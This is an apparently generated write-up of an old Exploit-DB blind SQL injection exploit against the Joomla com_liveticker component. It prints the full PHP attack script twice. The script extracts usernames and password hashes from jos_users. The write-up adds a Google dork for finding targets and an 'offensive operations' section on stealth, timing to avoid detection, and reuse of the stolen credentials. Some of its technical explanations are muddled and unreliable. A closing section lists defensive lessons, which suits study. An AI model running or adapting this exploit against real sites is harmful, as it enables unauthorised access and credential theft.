Exploiting Joomla com_liveticker Blind SQL Injection

Exploiting Joomla com_liveticker Blind SQL Injection
What this paper is
This paper details a vulnerability in the Joomla! Content Management System, specifically within the com_liveticker component. The vulnerability is a Blind SQL Injection. This means an attacker can infer information from the database by observing the application's responses, even though the actual data is not directly displayed. The exploit script provided aims to extract usernames and passwords from the jos_users table.
Simple technical breakdown
The core of the vulnerability lies in how the com_liveticker component handles user input for the tid parameter. When this parameter is not properly sanitized, an attacker can inject SQL commands.
This specific exploit uses a blind technique. Instead of seeing the database output directly, it relies on the length of the HTTP response. The script crafts SQL queries that, when executed by the database, will result in different response lengths depending on whether a condition is true or false.
Here's the general idea:
- Establish a baseline: The script first checks the response length for a query that is always true (
AND 1=1) and one that is always false (AND 1=0). This helps determine a reference point for "true" and "false" response lengths. - Guessing characters: It then iteratively guesses characters for the username and password. For each position in the username/password, it tries to determine if the ASCII value of the character at that position is greater than a certain number.
- Binary search-like approach: The script uses a clever trick. It sends queries like
AND ascii(substring((SELECT ...), position, 1)) > value. If the response length indicates the condition is true, it means the character's ASCII value is indeed greater thanvalue. It then adjusts its search range. The script uses a step of 2 for the ASCII values (i=$i+2) and checks ifvalueorvalue-1satisfies the condition, effectively narrowing down the exact ASCII value.
Complete code and payload walkthrough
The provided PHP script is designed to exploit the blind SQL injection vulnerability. Let's break down its components:
#!/usr/bin/php
<?php
ini_set("max_execution_time",0);
print_r('
#####################################################################
[»] Joomla com_liveticker Remote Blind Injection Vulnerability
#####################################################################
[»] Script: [Joomla]
[»] Language: [ PHP ]
[»] Founder: [ Snakespc Email:super_cristal@hotmail.com ]
[»] Site: [ sec-war.com/cc>]
[»] Greetz to:[ Spécial >>>>His0k4 >>>> Tous les hackers Algérie
[»] Dork: [ inurl:index.php?option=com_liveticker "viewticker" ]
######################################################################
######################################################################
# Joomla com_liveticker (tid) Blind SQL Injection Exploit
# [x] Usage: Snakespc.php "http://url/index.php?option=com_liveticker&task=viewticker&tid=1"
######################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$count = $i;
$i = 30;
}
}
for ($j = 1; $j < $count; $j++) {
for ($i = 46; $i <= 122; $i=$i+2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 122;
}
}
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
for ($i = 46; $i <= 102; $i=$i+2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 102;
}
}
}
}
?>#!/usr/bin/php: Shebang line, indicating the script should be executed with the PHP interpreter.<?php ... ?>: Standard PHP opening and closing tags.ini_set("max_execution_time",0);: This line sets the maximum execution time for the script to unlimited. This is crucial because the exploit involves many network requests and can take a long time to complete.print_r('...'): This block prints the introductory banner and usage information. It includes:- Vulnerability details (Joomla com_liveticker Remote Blind Injection).
- Script language (PHP).
- Author and contact information.
- A Google Dork to find vulnerable sites.
- Usage instructions.
if ($argc > 1): This checks if there is at least one command-line argument provided to the script.$argcis the count of arguments, and$argv[0]is the script name itself. So,$argc > 1means a URL was provided.$url = $argv[1];: If an argument is provided, it's assigned to the$urlvariable. This is expected to be the base URL of the vulnerable Joomla installation.$r = strlen(file_get_contents($url."+and+1=1--"));:file_get_contents(): This PHP function fetches the content of a URL. Here, it's used to make an HTTP request to the target URL.$url."+and+1=1--": This is the core of the SQL injection. The script appends+and+1=1--to the provided URL.+: URL-encoded space.and+1=1: A SQL condition that is always true.--: SQL comment. This is used to comment out any remaining part of the original query, preventing syntax errors.
strlen(): This function returns the length of the fetched content (the HTTP response body).$r: This variable stores the length of the response when the injected query is true. This serves as a baseline for "true" responses.
echo "\nExploiting:\n";: Prints a message indicating the exploitation process has started.$w = strlen(file_get_contents($url."+and+1=0--"));:- Similar to the previous step, but injects
+and+1=0--. +and+1=0: A SQL condition that is always false.$w: This variable stores the length of the response when the injected query is false. This serves as a baseline for "false" responses.
- Similar to the previous step, but injects
$t = abs((100-($w/$r*100)));:- This calculates a threshold value. It's an attempt to quantify the difference in response length between a "true" and "false" condition. The logic
(100-($w/$r*100))seems to be trying to find a percentage difference, andabs()ensures it's positive. This$tvalue is used later to compare against the length differences of other injected queries. It's a heuristic to determine if a specific character guess is likely correct.
- This calculates a threshold value. It's an attempt to quantify the difference in response length between a "true" and "false" condition. The logic
echo "Username: ";: Prints a label for the username extraction.for ($i=1; $i <= 30; $i++) { ... }: This loop attempts to determine the maximum length of the username. It iterates up to 30 characters.$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));:select+username+from+jos_users+limit+0,1: This SQL query attempts to select the first username from thejos_userstable.limit 0,1means starting from the first record (index 0) and fetching 1 record.substring(..., $i, 1): Extracts a single character from the username at position$i.ascii(...): Gets the ASCII value of that character.ascii(...)!=0: Checks if the ASCII value is not zero. This is a way to check if a character exists at that position.- The length of the response is stored in
$laenge.
if (abs((100-($laenge/$r*100))) > $t-1): This condition checks if the response length difference (compared to the baseline$r) is significant enough to indicate that a character exists at position$i. If it is, it means the username is at least$icharacters long.$count = $i; $i = 30;: If a character is found,$countis set to the current position$i, and the loop is terminated by setting$ito 30.$countwill store the length of the username.
for ($j = 1; $j < $count; $j++) { ... }: This is the main loop for extracting the username character by character. It iterates from the first character ($j=1) up to the determined length ($count).for ($i = 46; $i <= 122; $i=$i+2): This inner loop iterates through possible ASCII values for a character. It starts from 46 (which is '.') and goes up to 122 ('z'), incrementing by 2. This is an optimization, as it skips checking every single ASCII value.if ($i == 60) { $i = 98; }: This is a specific jump. ASCII 60 is '<'. If the loop reaches 60, it jumps to 98 ('b'). This is likely to cover common characters efficiently, skipping less common ones in that range or ensuring a specific range is covered.$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));:ascii(...)%3E".$i: This is the crucial part. It injectsAND ascii(substring(...)) > $i. This checks if the ASCII value of the character at position$jis greater than the current ASCII value$i.%3Eis the URL encoding for>.- The response length is stored in
$laenge.
if (abs((100-($laenge/$r*100))) > $t-1): This checks if the response length difference indicates that the conditionascii(...) > $iis true. If it is, it means the actual character's ASCII value is greater than$i.$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));: If the previous condition was true, this line performs a secondary check. It checks ifascii(...) > ($i-1).if (abs((100-($laenge/$r*100))) > $t-1):- If
ascii(...) > $iwas true, andascii(...) > ($i-1)is also true, it means the character's ASCII value is greater than$i. The script then proceeds to the next iteration of the inner loop (effectively trying a higher ASCII value). - If
ascii(...) > $iwas true, butascii(...) > ($i-1)is false, it implies that the character's ASCII value is exactly$i.
- If
echo chr($i-1);: If the character's ASCII value is$i-1, it prints that character.echo chr($i);: If the character's ASCII value is$i, it prints that character.$i = 122;: Once a character is found, the inner loop is terminated by setting$ito 122, so the outer loop can proceed to the next character position ($j).
echo "\nPassword: ";: Prints a label for the password extraction.for ($j = 1; $j <= 49; $j++) { ... }: This loop is identical in logic to the username extraction loop, but it's configured to extract passwords.- It iterates up to 49 characters for the password.
select+password+from+jos_users+limit+0,1: The SQL query is modified to select the password from thejos_userstable.for ($i = 46; $i <= 102; $i=$i+2): The range for ASCII values is adjusted. It goes from 46 ('.') up to 102 ('f'). This range covers most common password characters.- The rest of the logic for guessing characters is the same as for the username.
Code Fragment/Block -> Practical Purpose Mapping:
ini_set("max_execution_time",0);-> Ensure script stability: Prevents the script from timing out during lengthy network operations.print_r('...');-> Information Display: Shows banner, author, usage, and dork.if ($argc > 1)-> Argument Validation: Checks if a target URL is provided.$url = $argv[1];-> Target Assignment: Stores the user-provided URL.$r = strlen(file_get_contents($url."+and+1=1--"));-> Baseline True Response Length: Establishes a reference length for queries that evaluate to true.$w = strlen(file_get_contents($url."+and+1=0--"));-> Baseline False Response Length: Establishes a reference length for queries that evaluate to false.$t = abs((100-($w/$r*100)));-> Response Length Threshold Calculation: Derives a value to help differentiate between true/false responses based on length variance.for ($i=1; $i <= 30; $i++) { ... $count = $i; ... }-> Username Length Determination: Iteratively checks for the presence of characters to find the maximum length of the first username.for ($j = 1; $j < $count; $j++) { ... }-> Username Character Extraction Loop: Iterates through each character position of the username.for ($i = 46; $i <= 122; $i=$i+2) { ... }-> ASCII Value Guessing Loop: Iterates through potential ASCII values for a character.if ($i == 60) { $i = 98; }-> ASCII Range Optimization: Skips or adjusts the ASCII value search range for efficiency.$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));-> Blind SQL Injection Query (Greater Than Check): Injects a query to check if the character's ASCII value is greater than the current guess ($i).if (abs((100-($laenge/$r*100))) > $t-1)-> Response Length Comparison: Evaluates if the injected query's response length suggests the condition was true.$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));-> Secondary Blind SQL Injection Query (Greater Than Check): Performs a refined check to pinpoint the exact ASCII value.echo chr($i-1);orecho chr($i);-> Character Output: Prints the successfully identified character.$j = 1; $j <= 49;(for password) -> Password Extraction Loop: Iterates through each character position of the password (up to 49 characters).for ($i = 46; $i <= 102; $i=$i+2)(for password) -> ASCII Value Guessing Loop (Password): Iterates through potential ASCII values for password characters.
Practical details for offensive operations teams
- Required Access Level: No elevated privileges are required on the target system itself. The exploit targets a web application vulnerability, so standard web access is sufficient.
- Lab Preconditions:
- A vulnerable Joomla installation with the
com_livetickercomponent. - A database backend (e.g., MySQL) that is susceptible to SQL injection.
- The
jos_userstable must exist and contain usernames and passwords. - The
tidparameter inindex.php?option=com_liveticker&task=viewticker&tid=1must be vulnerable to SQL injection. - The web server must be configured to allow
file_get_contentsto fetch remote URLs (though this script is designed to be run locally against a remote target).
- A vulnerable Joomla installation with the
- Tooling Assumptions:
- PHP interpreter installed on the operator's machine.
- A command-line interface (CLI) for running the PHP script.
- Network connectivity to the target Joomla site.
- Execution Pitfalls:
- Response Length Variance: The core assumption is that response lengths reliably differ between true and false SQL conditions. Network latency, server load, or dynamic content on the page can introduce noise, making it difficult to distinguish true from false. The
$tthreshold calculation is a heuristic and might need tuning. - Character Set Limitations: The script assumes ASCII characters and a specific range (46-122 for username, 46-102 for password). If usernames/passwords contain characters outside these ranges (e.g., uppercase letters beyond 'z', special characters, UTF-8 characters), the exploit will fail or produce incorrect results. The
if ($i == 60) { $i = 98; }jump might also miss characters if not carefully analyzed. - Database Specifics: While
jos_usersis common for older Joomla versions, the exact table and column names might vary in different Joomla versions or custom setups. The SQL syntax used (substring,ascii,limit) is generally compatible with MySQL, but might behave differently on other database systems. - URL Encoding: The script uses
+for spaces and%3Efor>. Ensure these are correctly handled by the target web server and application. - Rate Limiting/WAFs: Frequent requests to the target server can trigger rate limiting or Web Application Firewalls (WAFs), leading to blocked requests or incorrect results.
- Max Execution Time: While
ini_set("max_execution_time",0)is used, extremely slow servers or network conditions could still cause issues. - Username/Password Length Limits: The script has hardcoded limits (30 for username, 49 for password). If a username or password exceeds these, they won't be fully extracted.
- Response Length Variance: The core assumption is that response lengths reliably differ between true and false SQL conditions. Network latency, server load, or dynamic content on the page can introduce noise, making it difficult to distinguish true from false. The
- Tradecraft Considerations:
- Stealth: This is a noisy exploit. It generates a very large number of HTTP requests, which will be highly visible in server logs. Running this requires explicit authorization and awareness of logging capabilities.
- Reconnaissance: Before running, confirm the Joomla version and the presence of
com_liveticker. Use the provided dork or other reconnaissance methods. - Timing: Execute during periods of low user activity if possible to minimize impact and detection.
- Error Handling: The script lacks robust error handling. If
file_get_contentsfails (e.g., connection refused, timeout), it might crash or produce unexpected output. - Payload Delivery: This script extracts credentials. It does not directly provide a shell or execute arbitrary code. The extracted credentials would then be used for subsequent access.
Where this was used and when
- Component: Joomla! Content Management System, specifically the
com_livetickercomponent. - Vulnerability Type: Blind SQL Injection.
- Approximate Year: The exploit was published on 2010-02-28. This indicates it was relevant around that time. Older versions of Joomla and its components are typically affected by such vulnerabilities. Exploits from this era often targeted widely used web applications like Joomla.
Defensive lessons for modern teams
- Input Validation is Paramount: Never trust user input. All parameters passed to web applications, especially those that interact with databases, must be rigorously validated and sanitized.
- Parameterized Queries/Prepared Statements: Use parameterized queries or prepared statements for all database interactions. This is the most effective defense against SQL injection, as it separates SQL code from user-supplied data.
- Least Privilege Principle: The database user account used by the web application should have only the minimum necessary privileges. It should not be able to query sensitive tables like user credentials if not strictly required for its function.
- Web Application Firewalls (WAFs): While not a silver bullet, WAFs can detect and block common SQL injection patterns. However, sophisticated blind SQL injection techniques can sometimes evade basic WAF rules.
- Regular Patching and Updates: Keep Joomla and all its extensions up-to-date. Vendors release patches to fix known vulnerabilities. This exploit targets an older component, highlighting the risk of using outdated software.
- Monitoring and Logging: Implement robust logging for web server and database activity. Monitor for unusual request patterns, such as a high volume of requests to a specific endpoint with injected SQL fragments.
- Error Handling: Configure applications to display generic error messages to users while logging detailed errors internally. Avoid revealing database error messages, which can provide attackers with valuable information.
- Understand Blind SQLi: Security teams should understand how blind SQL injection works, including time-based and boolean-based techniques, to better identify and defend against them.
ASCII visual (if applicable)
This exploit relies on a series of HTTP requests and responses. A simple visual representation of the core blind SQL injection logic:
+-----------------+ +-----------------+ +-----------------+
| Attacker (Script)|----->| Vulnerable App |----->| Database Server |
+-----------------+ +-----------------+ +-----------------+
| |
| 1. Send crafted URL with SQL injection |
| (e.g., ?tid=1 AND ascii(substring(...))>X) |
| |
| 2. Receive HTTP Response |
| (Length varies based on SQL result) |
| |
+--------------------------------------------------+
|
| 3. Analyze response length
| to infer character value
|
V
+-----------------+
| Attacker (Script)|
| (Decodes char) |
+-----------------+The visual shows the iterative process of sending a request, receiving a response, and analyzing its length to deduce information bit by bit.
Source references
- Paper ID: 11604
- Paper Title: Joomla! Component com_liveticker - Blind SQL Injection
- Author: snakespc
- Published: 2010-02-28
- Paper URL: https://www.exploit-db.com/papers/11604
- Raw Exploit URL: https://www.exploit-db.com/raw/11604
Original Exploit-DB Content (Verbatim)
#!/usr/bin/php
<?php
ini_set("max_execution_time",0);
print_r('
#####################################################################
[»] Joomla com_liveticker Remote Blind Injection Vulnerability
#####################################################################
[»] Script: [Joomla]
[»] Language: [ PHP ]
[»] Founder: [ Snakespc Email:super_cristal@hotmail.com ]
[»] Site: [ sec-war.com/cc>]
[»] Greetz to:[ Spécial >>>>His0k4 >>>> Tous les hackers Algérie
[»] Dork: [ inurl:index.php?option=com_liveticker "viewticker" ]
######################################################################
######################################################################
# Joomla com_liveticker (tid) Blind SQL Injection Exploit
# [x] Usage: Snakespc.php "http://url/index.php?option=com_liveticker&task=viewticker&tid=1"
######################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$count = $i;
$i = 30;
}
}
for ($j = 1; $j < $count; $j++) {
for ($i = 46; $i <= 122; $i=$i+2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 122;
}
}
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
for ($i = 46; $i <= 102; $i=$i+2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 102;
}
}
}
}
?>